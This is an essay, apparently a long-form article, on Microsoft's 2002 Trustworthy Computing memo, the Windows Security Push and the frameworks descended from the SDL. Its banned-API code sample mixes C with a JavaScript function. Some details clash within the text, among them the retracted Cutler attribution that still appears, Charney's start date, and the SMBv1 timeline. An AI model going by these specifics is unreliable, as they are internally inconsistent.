The logistic equation $dN/dt = KN(1 - N/V)$ has closed-form solution $N(t) = V / (1 + (V/N_0 - 1) e^{-Kt})$. The doubling time near the start (when $N \ll V$) is $\tau = \ln(2)/K$. For Slammer's measured doubling time of 8.5 seconds, $K = \ln(2)/8.5 \approx 0.0815$ per second. The time to reach 90% of $V$ from a seed of $N_0 = 1$ is $t_{90} = (1/K) \ln((V - N_0)/(N_0 \cdot V/(0.9V) - N_0)) \approx (1/K) \ln(0.9V/0.1) \approx (1/0.0815) \ln(9V)$. For $V = 75{,}000$, $t_{90} \approx 12.3 \cdot \ln(675{,}000) \approx 165$ seconds, plus the time spent in the slow start-up phase from $N_0=1$ to a few hundred infections. The empirical 10-minute figure includes both phases. The structural result is parameter-insensitive: any worm with a per-host scan rate that produces a sub-minute doubling will saturate before any human operator can intervene.

If the attacker's loop (find bug, weaponize, propagate) is now structurally faster than the defender's loop (find bug, ship patch, customer installs), then "patch faster" stops being the answer and a different answer becomes necessary. The only durable defense against a sub-minute doubling time is to ship fewer vulnerabilities to begin with. That requires changes upstream of the patch pipeline -- in how code is written, reviewed, tested, and signed off.

Which is what the advisory version of secure development had been preaching since 1975.

So why was Microsoft still shipping idq.dll-class bugs in 2001?

5. What Microsoft Already Had (and Why It Wasn't Enough)

This is the section that confronts the literal thesis head-on. Take an inventory of what existed, in Microsoft and outside it, on January 1, 2002:

Microsoft Security Response Center (MSRC). Founded in 1998 to coordinate vulnerability disclosure and ship security bulletins (the numbered series MS98-001 onward) [@msrc-org] [@howard-lipner-push-2003]. The org chart was real; so was the bulletin pipeline; so was the working relationship with CERT/CC and external researchers.
Secure Windows Initiative (SWI). Started around 2000 as a small in-house secure-development team, led by Michael Howard inside the Windows division [@howard-lipner-push-2003].
STRIDE. A categorical list of threat types (Spoofing, Tampering, Repudiation, Information disclosure, Denial of service, Elevation of privilege), written by Loren Kohnfelder and Praerit Garg in an internal Microsoft memo dated April 1, 1999, titled "The Threats to Our Products." The memo is no longer hosted on Microsoft's own site, but it has been publicly preserved at Adam Shostack's archive [@shostack-stride-memo-archive], with an independent mirror at FIRST [@first-stride-memo-mirror]; Shostack's 2014 book remains the authoritative chain-of-custody analysis [@shostack-tm-book].
A Microsoft-authored secure-coding book. Michael Howard and David LeBlanc's Writing Secure Code, Microsoft Press, first edition November 2001 -- two months before the memo. Bill Gates is widely reported to have required Microsoft engineers to read it; the book itself documents the banned-API list, threat-modeling templates, and STRIDE walkthroughs that the Push later mandated [@howard-leblanc-wsc].

Outside Microsoft, the substrate was older still:

Saltzer and Schroeder. Jerome Saltzer and Michael Schroeder, "The Protection of Information in Computer Systems," Proceedings of the IEEE 63(9), September 1975. Eight design principles -- economy of mechanism, fail-safe defaults, complete mediation, open design, separation of privilege, least privilege, least common mechanism, psychological acceptability -- still the textbook starting point [@saltzer-schroeder-1975].
The Orange Book. DoD Trusted Computer System Evaluation Criteria (DoD 5200.28-STD), 1983 and reissued 1985. Graded assurance levels D, C1, C2, B1, B2, B3, A1. The pre-existing vocabulary of "trusted computing" that the Gates memo deliberately echoed and broadened to "trustworthy" [@tcsec-orange-book].
OpenBSD audit culture. Theo de Raadt's OpenBSD project, since the summer of 1996, with a permanent audit team that the project's own page describes verbatim: "Our security auditing team typically has between six and twelve members who continue to search for and fix new security holes. We have been auditing since the summer of 1996" [@openbsd-security].
Attack trees. Bruce Schneier, "Attack Trees," Dr. Dobb's Journal, December 1999. A formal methodology for describing system security as goal-rooted decision trees with AND/OR composition and per-leaf cost annotations [@schneier-attack-trees-1999].
CERT/CC. Carnegie Mellon's Computer Emergency Response Team, founded November 1988 in response to the Morris worm. Author of the CA-1999-04 / CA-2001-19 / CA-2001-26 / CA-2000-04 advisories that frame the previous two sections [@cert-ca-1999-04-melissa] [@cert-ca-2001-19-codered] [@cert-ca-2001-26-nimda] [@cert-ca-2000-04-iloveyou].

Lay those rows out as a table and look at the right-most column:

Discipline component	Who had it	When	Release-blocking authority?
Foundational principles	Saltzer and Schroeder [@saltzer-schroeder-1975]	1975	No (academic publication)
Graded assurance criteria	DoD Orange Book [@tcsec-orange-book]	1985	No (procurement criterion only)
Response coordination	CERT/CC [@cert-ca-1999-04-melissa]	1988	No (external coordinator)
Audit-driven engineering	OpenBSD [@openbsd-security]	1996	Yes -- within OpenBSD only
Vendor response center	MSRC [@msrc-org] [@howard-lipner-push-2003]	1998	No (post-release)
Internal threat categorization	Kohnfelder and Garg STRIDE memo [@shostack-tm-book] [@shostack-stride-memo-archive]	April 1999	No (advisory)
External threat-modeling methodology	Schneier attack trees [@schneier-attack-trees-1999]	December 1999	No (publication)
In-house secure-development team	SWI (Howard) [@howard-lipner-push-2003]	~2000	No (advisory)
Secure-coding book	Howard and LeBlanc [@howard-leblanc-wsc]	November 2001	No (recommendation)

The load-bearing column is the last one. Every row except OpenBSD-within-OpenBSD reads No, and OpenBSD's "Yes" is a special case -- the auditors and the engineers were the same self-selected community on a small homogeneous codebase shipped without a revenue obligation.

That column is the article's first aha moment.

Key idea: Microsoft was not the first to articulate secure-systems-design principles (Saltzer and Schroeder, 1975). It was not the first to do audit-driven engineering (OpenBSD, 1996). It was not the first to popularize threat modeling externally (Schneier, December 1999), have an internal threat-categorization framework (Kohnfelder and Garg, April 1999), or run a security-response organization (CERT/CC since 1988; MSRC since 1998). What Microsoft was first to do, on January 15, 2002 and operationalized on February 11, 2002, was apply release-blocking executive authority across an entire dominant-platform vendor to make secure development a non-negotiable engineering gate.

The corrected sentence is harder to fit on a magazine cover. It is also defensible.

OpenBSD shipped audit-driven engineering culture six years before the Windows Security Push, with the slogan its security page has carried for two decades: Only two remote holes in the default install, in a heck of a long time! -- OpenBSD Project, security page [@openbsd-security]

OpenBSD's model worked for a small homogeneous codebase with self-selected auditors and a permissive-license, no-revenue context. The SDL's model was built for a fifty-thousand-person, hundred-million-line, quarterly-revenue context. They are parallel paths, not competitors. The era's lesson is that both were necessary discoveries; neither alone would have served the other's population.

What did "advisory" mean in 2000-2001 Microsoft? Steve Lipner's ACSAC 2004 paper is explicit: in the pre-Push state, an engineering manager could decline a security review with no organizational consequence. SWI could recommend. SWI could not require. The Microsoft-authored book sat on every engineer's desk and the threat-categorization memo had been internal for almost three years -- and Code Red v1, Code Red v2, Code Red II, and Nimda all exploited code that had shipped after SWI's founding [@howard-lipner-push-2003] [@lipner-acsac-2004].

That is the empirical evidence the era ran on. Methods without authority did not stop the worms.

Microsoft was not the first to articulate, audit, popularize, categorize, or respond. Microsoft was the first to make secure development non-negotiable at desktop-monopoly scale.

So if the methods, the books, the threat-modeling framework, the response center, the engineers, and the public peer pressure were all already there, what changed at 5:22 PM Pacific on Tuesday, January 15, 2002?

6. The Memo (January 15, 2002)

Open with the email header itself, preserved verbatim by Wired's republication and the Help With Windows mirror, both of which kept the original From:, Sent:, To:, Subject: block intact:

-----Original Message-----
From: Bill Gates
Sent: Tuesday, January 15, 2002 5:22 PM
To: Microsoft and Subsidiaries: All FTE
Subject: Trustworthy computing

[@gates-memo-wired] [@helpwithwindows-billg]

Popular retellings sometimes describe the memo as a "5 AM email Bill Gates wrote in the dark." The preserved mail headers above are unambiguous: the memo was sent at 5:22 PM Pacific on a Tuesday afternoon, with full distribution to "Microsoft and Subsidiaries: All FTE" -- every full-time employee of the company [@gates-memo-wired] [@helpwithwindows-billg]. The 5 AM phrasing is folk-knowledge; the headers preserved by Wired are the primary record.

The memo runs roughly 1,500 words. It is structured around four pillars -- Security, Privacy, Reliability, and Business Integrity -- that, the memo argues, must take precedence over feature work whenever the two are in tension [@gates-memo-wired]:

Pillar	What the memo asks for
Security	Code resilient to attack; products that ship secure out of the box, by default, in deployment.
Privacy	Products that handle customer data with informed consent and minimal collection.
Reliability	Products that fail predictably and recover gracefully; uptime as a measurable property.
Business Integrity	Transparent dealings; respect for the customer relationship across the company's behavior, not just its products.

Read the four together and the structure is not a list of features. It is a redefinition of what shipping the product means. A Windows release in 2001 shipped when the feature list closed; the memo proposed that, going forward, a Windows release ships when feature list, security posture, privacy posture, reliability posture, and the company's standing with the customer were all simultaneously acceptable.

The operational anchor of the memo is one sentence every subsequent retelling quotes, and that the Push directly inherited as its decision rule:

"When we face a choice between adding features and resolving security issues, we need to choose security." -- Bill Gates, "Trustworthy computing" memo, January 15, 2002 [@gates-memo-wired]

Note what the memo did not do. It did not name an algorithm. It did not invent STRIDE; STRIDE had been internal for two and a half years already [@shostack-tm-book]. It did not write banned.h; the banned-API list had been in Howard and LeBlanc's book on bookshelves for two months [@howard-leblanc-wsc]. And, contrary to a common retelling, it did not delay the launch of Visual Studio .NET.

Visual Studio .NET launched on schedule on February 13, 2002, four weeks after the memo, at the VSLive! 2002 Conference in San Francisco, with Bill Gates delivering the keynote address [@msft-news-vsnet-launch-2002]. The December 2001 work the retrospectives sometimes call a "delay" was a pre-launch security review of the .NET runtime; the memo references that review by name as the template for what the company was about to do across every product [@gates-memo-wired]. The "delayed by security" framing is folk-knowledge; the memo itself describes VS .NET's December review as a success story.

What the memo did do was supply the one input every other piece on the table had been missing: executive authority, top-down, to halt feature work on security grounds without arguing about it.

To see why that is the operational form of the memo's contribution, compare it to Gates's two other priority memos. The "Internet Tidal Wave" of May 26, 1995 redirected Microsoft toward the web; the company restructured around online services and browser strategy in its wake [@gates-tidal-wave-bbc-pdf]. The .NET / NGWS strategy memo, delivered alongside Gates's Forum 2000 keynote on June 22, 2000, redirected the company toward managed code and a unified runtime; Visual Studio .NET, the CLR, ASP.NET, and ADO.NET all trace to it.Common retellings date the .NET strategy memo to 1999. The Microsoft News Center record places the NGWS / .NET unveiling at Forum 2000 on June 22, 2000; the strategy was branded "Next Generation Windows Services" before the .NET name stuck. The 1999 dating slips in because the underlying COM-runtime work began earlier, but the company-wide priority memo is a 2000 document.

Both pointed Microsoft at something new. Trustworthy Computing was different in shape. It did not redirect the company toward something new. It halted the company in place. The pillars were not a roadmap; they were a precondition. That structural difference -- stop, before you start anything else -- is what gave the Push its character.

The memo named three deputies who would carry the program forward. Craig Mundie (then Microsoft's chief technical officer, leading the Trustworthy Computing leadership team) was the named architect of the Trustworthy Computing initiative itself [@msft-news-charney-jan-2002]; Jeff Raikes (then Group Vice President for Productivity and Business Services) carried the program into Office [@msft-news-raikes-fusion-2002]; and on January 31, 2002 -- sixteen days after the memo -- Microsoft announced the hire of Scott Charney from PricewaterhouseCoopers' Cybercrime Prevention and Response Practice as Chief Security Strategist, with a start date of April 1, 2002, to make the program operationally permanent [@msft-news-charney-jan-2002]. Charney would lead Microsoft's Trustworthy Computing organization for the next thirteen years. The memo was one event; the people who made it survive past the ten-week Push were the institutional half of the story.

The memo was the discrete institutional moment. What it required next was the operationalization step that converted it from rhetoric into engineering. That step took twenty-seven days to start and roughly ten weeks to run.

7. The Windows Security Push (February-April 2002)

The mechanics come from Michael Howard and Steve Lipner's IEEE Security and Privacy paper of January-February 2003, "Inside the Windows Security Push," and from Lipner's December 2004 ACSAC paper "The Trustworthy Computing Security Development Lifecycle." Stripped of the framing, the numbers are:

Feature work in the Windows Division halted on or about February 11, 2002 [@howard-lipner-push-2003].
The Push ran for approximately ten weeks, through April 2002 [@howard-lipner-push-2003].
The participating headcount was approximately 8,500 Windows engineers [@howard-lipner-push-2003].The round figure of "10,000 engineers" in many retrospectives is a company-wide aggregate that includes the serial Office, .NET, and SQL Server pushes that followed through 2002-2003. The Windows-only Push figure from the Howard and Lipner primary is ~8,500; the trade-press corroboration (Washington Technology, July 2002) cross-references Gates's own July 19, 2002 internal newsletter [@howard-lipner-push-2003] [@washtech-microsoft-100m].
The total cost in foregone feature work was approximately $100 million [@washtech-microsoft-100m] [@howard-lipner-push-2003].
The measurable outcome was approximately a 50% reduction in publicly reported security vulnerabilities for Windows Server 2003 over comparable post-release windows versus Windows 2000 [@howard-lipner-push-2003].The ~50% figure is per-window externally-discovered vulnerability counts, per Howard and Lipner 2003 -- not per-KLoC defect density. The narrative role (measurable post-release improvement) holds either way, but the caveat matters for readers reusing the number.

The Push pipeline looked like this:

flowchart LR A[Mandatory training: Howard, Lipner, LeBlanc as instructors] --> B[STRIDE threat model per component] B --> C[Banned-API audit against banned.h and strsafe.h] C --> D[Fuzz testing of network-facing components] D --> E[Final Security Review gate] E --> F[Release approval or block]

Three of the boxes in that pipeline need definitions, because they are the load-bearing terms the rest of the article and every SDL descendant inherit.

A C header authored at Microsoft during and after the Push that re-declares roughly forty unsafe C runtime functions (`strcpy`, `strcat`, `gets`, `sprintf`, `_snprintf`, `wcscpy`, `_mbscpy`, and more) as compile-time errors. The pattern is a `#pragma deprecated` plus a `#define` that expands to an undefined symbol, so any source file that includes `banned.h` and then calls a banned function fails to compile. The descendant in Microsoft's current Windows driver toolchain is the static-analyzer warning **C28719**, which release-gates Windows driver submissions to this day [@msft-c28719]. A safer-by-default replacement string-handling API set introduced by Microsoft alongside `banned.h`. The `Strsafe.h` header (and the Win32 reference page that still ships in Microsoft Learn) defines `StringCbCopy`, `StringCbCat`, `StringCbPrintf`, `StringCchCopy`, `StringCchCat`, `StringCchPrintf`, and their wide-character variants. Every function takes an explicit destination-buffer size and returns an `HRESULT` so the caller can detect truncation rather than overrun [@msft-strsafe]. The C11 `_s` family (`strcpy_s`, `strcat_s`, `sprintf_s`) is the standards-track parallel. The release-blocking sign-off step at the end of the SDL pipeline. Before a product can ship, an FSR examines the threat model, the residual vulnerabilities, the banned-API audit results, the fuzz-test coverage, the static-analysis warnings, and the operational response plan, and decides whether the release meets the security bar. A failed FSR blocks the release. The FSR is the single component that converts every preceding "should" into a hard "must" -- it is where the advisory pipeline becomes the mandatory one [@lipner-acsac-2004] [@howard-lipner-sdl-book].

Place the same banned-API substitution that every Windows engineer learned that spring next to its FSR-approved replacement, with the surviving 2026 compiler-enforced warning called out:

{` // BEFORE THE PUSH -- this compiles, and overflows if src is too long. // C runtime; allowed in C89; the entire bug class behind Code Red et al. void copyName_BANNED(char* dst, const char* src) { // strcpy(dst, src); // After banned.h is included, the above line FAILS TO COMPILE: // error C4996: 'strcpy': This function or variable may be unsafe. // error C28719: Banned API Usage: strcpy is a Banned API. }

// AFTER THE PUSH -- this is the FSR-approved replacement. // strsafe.h, mandatory after February 2002 for Windows code. // Microsoft's C28719 still release-gates Windows drivers in 2026. function copyName_OK(dst, dstSize, src) { // StringCbCopy(dst, dstSize, src); // Returns S_OK on success, STRSAFE_E_INSUFFICIENT_BUFFER on truncation. // The compiler knows dstSize; the static analyzer can prove the bound. console.log('FSR-approved: explicit destination size, returns HRESULT.'); }

copyName_OK('buffer', 16, 'David Cutler'); `}

The substitution is the entire engineering theme of the Push in one line. strcpy(dst, src) is undecidable in the general case: you cannot prove from the call site that src fits in dst without information the call site does not have. StringCbCopy(dst, dstSize, src) is mechanically checkable: the destination size is explicit, the function returns truncation as a recoverable error, and a static analyzer can verify the bound at every call site. The class of bugs behind Code Red did not become easier to write; it became uncompilable.

The state change is best shown as a comparison table:

Discipline component	Pre-Push state	Post-Push state
Training	Opt-in; not all engineers attended	Mandatory across the Windows Division [@howard-lipner-push-2003]
Threat modeling	Per-team optional	Per-component mandatory; STRIDE-driven [@howard-lipner-push-2003]
Banned-API enforcement	Recommended in the SWI guidance	Compile-time error via `banned.h`; replacement via `strsafe.h` [@msft-strsafe] [@msft-c28719]
Code review	Voluntary	Release-gate via Final Security Review [@lipner-acsac-2004]
Authority	Advisory (SWI could recommend)	Release-blocking (FSR could block) [@lipner-acsac-2004]
Measurable outcome	None published	~50% reduction in publicly reported vulnerabilities, WS2003 vs Win2000 [@howard-lipner-push-2003]

The right-hand column is, line by line, the same activities the left-hand column lists. Training is training. Threat modeling is threat modeling. The banned-API list is the same list LeBlanc and Howard had been publishing for years. Static analysis is static analysis. What changed in every row is the verb: from "may," "should," and "recommended" to "must," "shall," and "release-blocking."

Key idea: The breakthrough was organizational, not technical. The Push used the same training material, the same banned-API list, the same threat-modeling framework, and the same code-review checklist that SWI, Howard, LeBlanc, and Schneier had been writing for two years. What changed was the signoff power. Training became mandatory; threat modeling became per-component-mandatory; banned APIs became compile-time errors; code review became a release gate; and the Final Security Review acquired the authority to block a ship date. The Push did not invent new methods. It gave the existing methods executive authority.

Note: Same checklists, different signoff power. That single sentence is the unit of work the Push did. Every other secure-development framework on the industry shelf in 2026 is, organizationally, a restatement of that unit at different scales: BSIMM observes how vendors did it, OWASP SAMM prescribes how to do it, NIST SSDF mandates it for U.S. federal suppliers, ISO/IEC 27034 makes it certifiable. The technology was downstream of the authority [@bsimm-home] [@owasp-samm-model] [@nist-ssdf-218] [@iso-27034-1].

Ten weeks of training is one event. A discipline is a repeatable event. The Push needed to be codified into something a product team could do on every release.

8. What the Discipline Became: The SDL Lineage (2002-2006)

Codification ran in two steps.

The first step was Steve Lipner's ACSAC 2004 paper, "The Trustworthy Computing Security Development Lifecycle," the first formal external description of the SDL as a multi-phase release-engineering process [@lipner-acsac-2004]. ACSAC is a peer-reviewed venue with a security-practitioner audience; the paper put the program on the academic record and started the citation chain.

The second step was the book. Howard and Lipner, The Security Development Lifecycle, Microsoft Press 2006 (ISBN 978-0-7356-2214-2) [@howard-lipner-sdl-book]. The book documents every phase, every checklist, every threat-modeling template, every banned-API entry, every FSR criterion. It is what made the methodology exportable: an organization not named Microsoft could pick up the book and run an SDL-shape program of its own.

A software-engineering process model that integrates security activities into every phase of a product release. The canonical Microsoft formulation, in the 2006 Howard and Lipner book, is a seven-phase pipeline: Training, Requirements, Design (with mandatory STRIDE threat modeling), Implementation (with banned-API enforcement and mandatory static analysis), Verification (fuzz testing and dynamic analysis), Release (Final Security Review and a signed-off response plan), and Response (feeds back into MSRC). The current Microsoft public formulation organizes the same activities as 10 practices spanning 5 lifecycle stages: Design, Code, Build and Deploy, Run, and Zero Trust governance [@msft-sdl-practices] [@msft-sdl-overview].

The SDL phase pipeline in its canonical 2006 form:

flowchart LR A[Training] --> B[Requirements] B --> C[Design: STRIDE threat modeling] C --> D[Implementation: banned-API + static analysis] D --> E[Verification: fuzz + dynamic analysis] E --> F[Release: Final Security Review] F --> G[Response: MSRC] G -.feedback.-> A

The current Microsoft SDL has shifted with the industry. The 2026 public formulation organizes the same activities as ten practices spanning five lifecycle stages: Design, Code, Build and Deploy, Run, and Zero Trust governance [@msft-sdl-practices] [@msft-sdl-overview]. Practices 1, 3, and 10 (security standards, threat modeling, training) map directly back to the 2002 Push and the 2006 book. Practices 2 and 4 (proven security features and cryptography standards) became prominent after the 2014-2017 TLS-bug wave: Heartbleed in April 2014 [@nvd-cve-2014-0160-heartbleed], POODLE in October 2014, Logjam in May 2015, ROBOT in December 2017. Practices 5 through 9 (supply chain, engineering environment, security testing, operational platform, monitoring and response) absorb post-SolarWinds (December 2020), Log4Shell (December 2021), and xz-utils (March 2024) lessons that did not exist in the original 2006 codification [@cisa-secure-by-design] [@slsa-home] [@freund-xz-disclosure].

The SDL did not invent training, did not invent threat modeling, did not invent banned APIs, and did not invent audit-driven review. What it did was assemble them, mandate them, and gate releases on them at a scale and authority no one had previously attempted at a desktop-monopoly vendor. Saltzer and Schroeder (1975), OpenBSD (1996), CERT/CC (1988), Schneier (1999), Kohnfelder and Garg (1999), and Howard and LeBlanc (2001) all contributed substrate; the SDL was an organizational achievement that depended on every one of those.

Two people deserve named credit for the SDL surviving past its 2002 birth. Scott Charney, joining Microsoft in March 2002 as Chief Security Strategist, ran the Trustworthy Computing organization for thirteen years and kept the program funded, staffed, and politically supported through three Windows releases (XP SP2 in 2004, Vista in 2006, Windows 7 in 2009). Steve Lipner became the program's external voice -- the IEEE *Security and Privacy* paper, the ACSAC paper, the Microsoft Press book, and the conference circuit that turned an internal-Microsoft methodology into an industry-wide practice. The historical credit for "founding" goes to Gates; the historical credit for *sustaining* goes to Charney and Lipner.

A discipline becomes industry-standard when other organizations adopt or are compelled to adopt it. What happened to the SDL's template between 2006 and 2026?

9. What the Era Taught the Next 25 Years

Every major secure-development framework published since 2006 traces a recognizable lineage back to the same Push-shape ancestor. The genealogy fans out:

flowchart TD P0[2002 Windows Security Push] --> M1[2004 Microsoft SDL Lipner ACSAC] M1 --> B[2008 BSIMM descriptive 128 activities] M1 --> S[2009 OWASP SAMM prescriptive 15 practices] M1 --> I[2011 ISO/IEC 27034 certifiable] M1 --> F[2018 SAFECode Fundamental Practices 3rd ed] M1 --> N[2022 NIST SSDF SP 800-218 federal-supplier] M1 --> L[2021-2023 SLSA Build track post-SolarWinds] M1 --> C[2023 CISA Secure by Design + Pledge]

The shorthand for each descendant:

Microsoft SDL. The 2004 ACSAC paper and the 2006 book; today's ten-practice five-stage formulation [@lipner-acsac-2004] [@msft-sdl-practices].
BSIMM. The Building Security In Maturity Model, descriptive (not prescriptive): 128 activities observed across 111 organizations in 8 industries, grouped into 12 practices in 4 domains [@bsimm-home].
OWASP SAMM v2. Open Software Assurance Maturity Model, prescriptive: 15 security practices grouped into 5 business functions (Governance, Design, Implementation, Verification, Operations), with 3 maturity levels per practice [@owasp-samm-model] [@owasp-samm-about].
ISO/IEC 27034-1:2011. The first internationally certifiable application-security standard, confirmed in 2022 [@iso-27034-1].
SAFECode Fundamental Practices, 3rd ed. A community-curated practice catalog from the Software Assurance Forum for Excellence in Code, with an explicit smallest-organization onramp [@safecode-fundamental-practices].
NIST SP 800-218 (SSDF). The Secure Software Development Framework, February 2022; legally voluntary in form but de-facto mandatory for U.S. federal suppliers via Executive Order 14028 and OMB Memorandum M-22-18 [@nist-ssdf-218].
SLSA v1.0. Supply-chain Levels for Software Artifacts, the post-SolarWinds extension that adds build-integrity attestation to the SDL pattern [@slsa-v1-levels] [@slsa-home].
CISA Secure by Design and the Secure-by-Design Pledge. A U.S. federal policy framework restating the SDL principles as expectations on commercial software vendors; the Pledge is voluntary and not legally binding [@cisa-secure-by-design] [@cisa-sbd-pledge].

Below the family tree, every organization that picks one of these frameworks is also making a context-specific decision. A 2026 decision guide -- drawn from the SOTA work -- looks like this:

Situation	Primary framework	Threat modeling	Supply chain	Memory safety
Large proprietary vendor	Microsoft SDL [@msft-sdl-practices]	STRIDE in Microsoft TM Tool [@msft-threat-modeling-tool]	SLSA Build L3 [@slsa-v1-levels]	Rust in new components [@weston-bluehat-il-2023] [@cisa-memory-safe-roadmaps]
U.S. federal supplier	NIST SSDF + Secure by Design [@nist-ssdf-218] [@cisa-secure-by-design]	Manifesto-aligned [@threat-modeling-manifesto]	SLSA Build L2+ [@slsa-v1-levels]	CISA memory-safe roadmap [@cisa-memory-safe-roadmaps]
Mid-size SaaS	OWASP SAMM [@owasp-samm-model]	OWASP Threat Dragon [@owasp-threat-dragon]	SLSA Build L1 [@slsa-v1-levels]	Language choice per service
Open-source project	SAFECode + SLSA [@safecode-fundamental-practices] [@slsa-home]	STRIDE or LINDDUN	SLSA Build L1 + provenance	Language choice per project
Privacy-critical	LINDDUN	LINDDUN + DPIA	per regulator	per language toolchain
AI/LLM-integrated	NIST AI RMF + OWASP LLM Top 10 [@nist-ai-rmf] [@owasp-llm-top-10]	LLM Top 10 categories	per model supply chain	per language toolchain

The table is a snapshot, not a prescription; the underlying point is that every cell is a child of the same 2002 organizational pattern, specialized to a population.

The five-stage cohort-migration playbook

Every meaningful security improvement since 2002 has had to walk a population through the same five-stage migration without breaking the legitimate-use long tail. The stages, drawn directly from how Microsoft has operated and what the larger industry has copied:

Ship telemetry first. Before flipping any default, instrument the current behavior so you know who is using it, how, and how often.
Publish guidance naming the unsafe path as exceptional. Documentation calls the behavior "supported but deprecated"; the change is announced.
Flip the default behind documented escape hatches. The new default is safe; users with a legitimate need can still opt back in via Group Policy, a registry key, an unblock checkbox, or an admin command.
Deprecate on a published schedule. Telemetry says the long tail is small enough to commit to a removal date; the date is announced one or more years out.
Remove the capability. The feature is no longer present; the escape hatch is no longer reachable.

Two worked examples make the playbook concrete -- the Office VBA macro block of 2022 and the SMBv1 deprecation of 1996-2017.

Office VBA macros from the internet (announced February 2022). Microsoft committed to blocking VBA macros in Office documents that arrived from the internet (carrying the Mark of the Web). The five-channel rollout, as documented and re-documented on the current Microsoft Learn page, ran:

Channel	Default-block date
Current Channel Preview 2203	April 12, 2022
Current Channel 2206	July 27, 2022 (after a July 2022 pause-and-resume)
Monthly Enterprise 2208	October 11, 2022
Semi-Annual Enterprise (Preview) 2208	October 11, 2022
Semi-Annual Enterprise 2208	January 10, 2023

[@ms-learn-internet-macros-blocked]

The escape hatches were explicit: per-document Unblock from the file's Properties dialog, configured Trusted Locations, signed-by-Trusted-Publishers, or Group Policy overrides for managed environments [@ms-learn-internet-macros-blocked]. The capability was not removed -- the playbook stopped at stage 3. The July 2022 pause-and-resume is the playbook's self-correcting feedback loop in action: Microsoft paused the Current Channel rollout in response to deployment-side issues, fixed them, and resumed [@ms-learn-internet-macros-blocked]. That this fix took twenty-seven years from Concept's 1995 first detection to the Office VBA macro block of February 2022 is the era's tax for cohort migration without breaking the legitimate-use long tail.

SMBv1 deprecation (1996 to 2025). Server Message Block version 1 shipped in 1996. Microsoft publicly deprecated SMBv1 in 2014 (the long tail was many years of legacy installations). Ned Pyle, Principal Program Manager for Microsoft's Storage and File Services team, published the canonical "Stop using SMB1" Tech Community post on September 16, 2016 [@pyle-stop-using-smb1]. May and June 2017 brought the empirical forcing function: the WannaCry ransomware in May, the NotPetya wiper in June, both exploiting EternalBlue against SMBv1. October 2017's Windows 10 version 1709 shipped SMBv1 off by default. Windows Server 2019 and later, plus Windows 11, do not install SMBv1 at all. For Windows Home and Pro, the SMBv1 client auto-uninstalls after 15 days of non-use [@ms-learn-smbv1-not-installed]:

Year	Event
1996	SMBv1 ships with Windows NT 4.0
2014	Public deprecation announced
September 16, 2016	Ned Pyle's "Stop using SMB1" Tech Community post [@pyle-stop-using-smb1]
May-June 2017	WannaCry and NotPetya empirical forcing function
October 2017 (1709)	SMBv1 default-off in Windows 10
Windows Server 2019+, Windows 11	Not installed by default; 15-day auto-uninstall on Home/Pro [@ms-learn-smbv1-not-installed]

Note: "Deprecation takes a decade" is not vendor inefficiency. It is the cost of executing each playbook stage without breaking the legitimate-use long tail of business-critical software that depends on the capability. An empirical forcing function -- a worm, a ransomware wave, a public catastrophe -- is what compresses the late stages from years to months. WannaCry and NotPetya did to SMBv1 in 2017 what Code Red and Nimda did to the Windows defaults in 2002.

The aggregate catalog of unsafe defaults the era's lessons forced into the playbook, each at its own stage in 2026:

NetBIOS over TCP exposed by default (deprecated; off by default).
NTLM as a first-class protocol (Microsoft announced default-off deprecation in October 2023, with a rolling transition through Windows Server 2025 and later releases [@techcommunity-ntlm-evolution-2023]).
ActiveX by default in the IE Internet zone (removed with IE retirement in 2022).
Autorun on removable media (default-off after Windows 7 patch in February 2011 [@kb971029-autorun-wayback]).
Office macros enabled by default (default-block for internet-marked files since 2022 [@ms-learn-internet-macros-blocked]).
PowerShell v2 (deprecated 2017, removed by default in Windows 11 23H2 [@devblogs-powershell-v2-deprecation]).
Office Equation Editor (deprecated 2017, removed 2018 after CVE-2017-11882 [@nvd-cve-2017-11882]).

The 2002 template won. The modern industry runs on its descendants. But "won" does not mean "solved" -- the same eight-engineer SWI of 2000 has descendants in 2026 that still ship the same memory-safety bugs Cutler's NT kernel shipped in 1993. What changed? What did not?

10. State of the Art (and the Wars Ahead)

Open with the humility. Microsoft's own 2019 MSRC retrospective is the figure CISA preserves verbatim: "approximately 70% of the vulnerabilities Microsoft assigns a CVE each year continue to be memory safety issues" [@cisa-urgent-need-memory-safety] [@cisa-memory-safe-roadmaps].

Twenty-five years after the SDL's birth, the dominant CVE class is the same one the NT 3.1 -> NT 4.0 -> IIS 5.0 series shipped throughout the 1990s and Code Red weaponized in 2001.An earlier draft credited Cutler's NT-kernel team with shipping idq.dll in 1993. That attribution is wrong on both counts. idq.dll first shipped with Microsoft Index Server 1.0 for Windows NT 4.0 in 1996, and it was authored by the Index Server / IIS-ISAPI team, not the Cutler-led NT-kernel team. The load-bearing claim -- that the dominant CVE class today is the same memory-safety class the NT-line products shipped throughout the 1990s and Code Red weaponized in 2001 -- is preserved without the inaccurate attribution. The discipline the era forced was necessary; it was not sufficient.

Three frontiers carry that residual problem forward into the next decade.

Frontier 1: supply-chain integrity (SLSA v1.0 Build track levels)

SLSA -- Supply-chain Levels for Software Artifacts -- is the post-SolarWinds extension of the SDL pattern to the build pipeline itself. The v1.0 specification defines four Build track levels, with verbatim per-level guarantees [@slsa-v1-levels]:

Build L0. No SLSA. No claims about provenance.
Build L1. "Provenance showing how the package was built." Crucially, the spec is explicit that at L1 "provenance may be incomplete and/or unsigned" -- L1 defends against mistakes and gives consumers something to inspect, not against tampering [@slsa-v1-levels].
Build L2. Signed provenance, "generated by a hosted build platform." The signature belongs to the build platform, not the producer -- specifically, "by a key that is only accessible to the build platform" -- so post-build tampering by the producer is detectable [@slsa-v1-levels].
Build L3. Hardened build platform: builds run in isolation so one build cannot influence another, and the signing key is "not accessible to user-defined build steps" so an insider with a malicious build script cannot forge signed provenance [@slsa-v1-levels].

A Source track existed in SLSA's v0.1 draft and was explicitly deferred from v1.0. The future-directions page is direct about why: "A Source track could provide protection against tampering of the source code prior to the build" [@slsa-future-directions]. The reason it is not in v1.0: there is no automatic decision procedure that distinguishes a malicious-but-syntactically-clean patch from a benign one.

